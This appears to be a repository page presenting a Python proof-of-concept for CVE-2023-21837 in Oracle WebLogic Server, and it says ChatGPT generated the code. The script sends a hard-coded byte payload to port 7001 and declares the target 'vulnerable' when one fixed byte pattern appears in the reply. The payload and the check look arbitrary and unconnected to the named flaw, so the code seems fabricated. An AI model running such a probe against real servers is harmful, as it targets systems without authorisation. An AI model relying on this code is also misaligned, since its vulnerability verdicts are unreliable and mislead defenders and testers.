CVE-2023-21837 PoC — Oracle WebLogic Server 安全漏洞

Description

POC,EXP, chatGPT for me

介绍

# CVE-2023-21837
POC,EXP, chatGPT for me

## code 
```
import socket

# CVE-2023-21837
def check_vulnerability(target_host, target_port):
    # create socket object
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # set timeout to 30 seconds
    s.settimeout(30)
    try:
        # connect to target
        s.connect((target_host, target_port))
        # send exploit payload
        s.send(b'\x49\x49\x4f\x50\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00')
        # receive response
        response = s.recv(1024)
        # check if response indicates vulnerability
        if b'Y\x02\x0f\x00\x00\x00\x00\x00\x00\x00' in response:
            print(f"Target {target_host}:{target_port} is vulnerable!")
        else:
            print(f"Target {target_host}:{target_port} is not vulnerable.")
    except socket.timeout:
        print(f"Connection to {target_host}:{target_port} timed out.")
    except ConnectionRefusedError:
        print(f"Connection to {target_host}:{target_port} was refused.")
    except Exception as e:
        print(f"Error: {e}")
    finally:
        # close socket
        s.close()

# example usage
check_vulnerability('127.0.0.1', 7001)

```

文件快照

备注